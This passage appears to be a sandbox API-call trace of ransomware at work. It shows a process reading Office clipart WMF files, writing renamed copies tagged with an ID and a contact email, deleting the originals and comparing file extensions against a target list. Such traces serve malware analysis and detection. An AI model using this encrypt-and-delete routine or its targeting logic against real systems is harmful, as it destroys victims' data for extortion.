(in: hFile=0x530, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1e90, lpOverlapped=0x0) returned 1 [0189.565] ReadFile (in: hFile=0x568, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0189.565] WriteFile (in: hFile=0x530, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0189.565] SetEndOfFile (hFile=0x530) returned 1 [0189.566] CloseHandle (hObject=0x530) returned 1 [0189.566] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0189.566] SetEndOfFile (hFile=0x568) returned 1 [0189.569] CloseHandle (hObject=0x568) returned 1 [0189.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 1 [0189.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0189.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0189.571] lstrlenW (lpString=".doc") returned 4 [0189.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.571] lstrlenW (lpString=".docx") returned 5 [0189.571] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0189.571] lstrlenW (lpString=".pdf") returned 4 [0189.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.571] lstrlenW (lpString=".xls") returned 4 [0189.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.571] lstrlenW (lpString=".xlsx") returned 5 [0189.571] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0189.571] lstrlenW (lpString=".ppt") returned 4 [0189.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0189.572] lstrlenW (lpString=".zip") returned 4 [0189.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.572] lstrlenW (lpString=".rar") returned 4 [0189.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.572] lstrlenW (lpString=".bz2") returned 4 [0189.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.572] lstrlenW (lpString=".7z") returned 3 [0189.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0189.572] lstrlenW (lpString=".dbf") returned 4 [0189.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0189.572] lstrlenW (lpString=".1cd") returned 4 [0189.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0189.572] lstrlenW (lpString=".jpg") returned 4 [0189.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.574] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=7304) returned 1 [0189.574] CloseHandle (hObject=0x568) returned 1 [0189.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 0x220 [0189.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0189.578] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0189.578] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0189.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0189.579] GetLastError () returned 0x0 [0189.579] ReadFile (in: hFile=0x568, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1c88, lpOverlapped=0x0) returned 1 [0189.581] WriteFile (in: hFile=0x530, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1c90, lpOverlapped=0x0) returned 1 [0189.583] ReadFile (in: hFile=0x568, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0189.583] WriteFile (in: hFile=0x530, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0189.583] SetEndOfFile (hFile=0x530) returned 1 [0189.583] CloseHandle (hObject=0x530) returned 1 [0189.584] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0189.584] SetEndOfFile (hFile=0x568) returned 1 [0189.587] CloseHandle (hObject=0x568) returned 1 [0189.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 1 [0189.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0189.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0189.589] lstrlenW (lpString=".doc") returned 4 [0189.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.589] lstrlenW (lpString=".docx") returned 5 [0189.589] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0189.589] lstrlenW (lpString=".pdf") returned 4 [0189.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.589] lstrlenW (lpString=".xls") returned 4 [0189.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.589] lstrlenW (lpString=".xlsx") returned 5 [0189.590] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0189.590] lstrlenW (lpString=".ppt") returned 4 [0189.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0189.590] lstrlenW (lpString=".zip") returned 4 [0189.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.590] lstrlenW (lpString=".rar") returned 4 [0189.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.590] lstrlenW (lpString=".bz2") returned 4 [0189.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.590] lstrlenW (lpString=".7z") returned 3 [0189.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0189.590] lstrlenW (lpString=".dbf") returned 4 [0189.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0189.590] lstrlenW (lpString=".1cd") returned 4 [0189.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0189.590] lstrlenW (lpString=".jpg") returned 4 [0189.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.591] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=20038) returned 1 [0189.591] CloseHandle (hObject=0x568) returned 1 [0189.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 0x220 [0189.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0189.717] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0189.717] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0189.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0191.240] GetLastError () returned 0x0 [0191.240] ReadFile (in: hFile=0x568, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x4e46, lpOverlapped=0x0) returned 1 [0191.243] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x4e50, lpOverlapped=0x0) returned 1 [0191.245] ReadFile (in: hFile=0x568, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0191.246] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0191.246] SetEndOfFile (hFile=0x558) returned 1 [0191.246] CloseHandle (hObject=0x558) returned 1 [0191.246] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.246] SetEndOfFile (hFile=0x568) returned 1 [0191.251] CloseHandle (hObject=0x568) returned 1 [0191.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 1 [0191.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0191.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0191.254] lstrlenW (lpString=".doc") returned 4 [0191.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.254] lstrlenW (lpString=".docx") returned 5 [0191.254] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.254] lstrlenW (lpString=".pdf") returned 4 [0191.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.254] lstrlenW (lpString=".xls") returned 4 [0191.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.254] lstrlenW (lpString=".xlsx") returned 5 [0191.254] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.254] lstrlenW (lpString=".ppt") returned 4 [0191.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0191.255] lstrlenW (lpString=".zip") returned 4 [0191.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.255] lstrlenW (lpString=".rar") returned 4 [0191.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.255] lstrlenW (lpString=".bz2") returned 4 [0191.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.255] lstrlenW (lpString=".7z") returned 3 [0191.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0191.255] lstrlenW (lpString=".dbf") returned 4 [0191.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0191.255] lstrlenW (lpString=".1cd") returned 4 [0191.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0191.255] lstrlenW (lpString=".jpg") returned 4 [0191.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.257] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=25868) returned 1 [0191.257] CloseHandle (hObject=0x568) returned 1 [0191.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf")) returned 0x220 [0191.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0191.259] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.259] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0191.262] GetLastError () returned 0x0 [0191.262] ReadFile (in: hFile=0x568, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x650c, lpOverlapped=0x0) returned 1 [0191.265] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x6510, lpOverlapped=0x0) returned 1 [0191.267] ReadFile (in: hFile=0x568, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0191.267] WriteFile (in: hFile=0x558, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0191.267] SetEndOfFile (hFile=0x558) returned 1 [0191.267] CloseHandle (hObject=0x558) returned 1 [0191.267] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.267] SetEndOfFile (hFile=0x568) returned 1 [0191.273] CloseHandle (hObject=0x568) returned 1 [0191.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf")) returned 1 [0191.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0191.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0191.275] lstrlenW (lpString=".doc") returned 4 [0191.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.275] lstrlenW (lpString=".docx") returned 5 [0191.275] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0191.276] lstrlenW (lpString=".pdf") returned 4 [0191.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.276] lstrlenW (lpString=".xls") returned 4 [0191.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.276] lstrlenW (lpString=".xlsx") returned 5 [0191.276] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0191.276] lstrlenW (lpString=".ppt") returned 4 [0191.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0191.276] lstrlenW (lpString=".zip") returned 4 [0191.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.276] lstrlenW (lpString=".rar") returned 4 [0191.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.276] lstrlenW (lpString=".bz2") returned 4 [0191.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.276] lstrlenW (lpString=".7z") returned 3 [0191.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0191.277] lstrlenW (lpString=".dbf") returned 4 [0191.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0191.277] lstrlenW (lpString=".1cd") returned 4 [0191.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0191.277] lstrlenW (lpString=".jpg") returned 4 [0191.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.371] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=33824) returned 1 [0191.371] CloseHandle (hObject=0x554) returned 1 [0191.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 0x220 [0191.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0191.374] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.374] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0191.375] GetLastError () returned 0x0 [0191.375] ReadFile (in: hFile=0x554, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x8420, lpOverlapped=0x0) returned 1 [0191.378] WriteFile (in: hFile=0x444, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x8430, lpOverlapped=0x0) returned 1 [0191.381] ReadFile (in: hFile=0x554, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0191.381] WriteFile (in: hFile=0x444, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0191.381] SetEndOfFile (hFile=0x444) returned 1 [0191.381] CloseHandle (hObject=0x444) returned 1 [0191.381] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0191.381] SetEndOfFile (hFile=0x554) returned 1 [0191.385] CloseHandle (hObject=0x554) returned 1 [0191.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 1 [0191.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0191.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0191.387] lstrlenW (lpString=".doc") returned 4 [0191.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.387] lstrlenW (lpString=".docx") returned 5 [0191.387] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0191.387] lstrlenW (lpString=".pdf") returned 4 [0191.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.387] lstrlenW (lpString=".xls") returned 4 [0191.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.388] lstrlenW (lpString=".xlsx") returned 5 [0191.388] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0191.388] lstrlenW (lpString=".ppt") returned 4 [0191.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0191.388] lstrlenW (lpString=".zip") returned 4 [0191.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.388] lstrlenW (lpString=".rar") returned 4 [0191.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.388] lstrlenW (lpString=".bz2") returned 4 [0191.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.388] lstrlenW (lpString=".7z") returned 3 [0191.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0191.388] lstrlenW 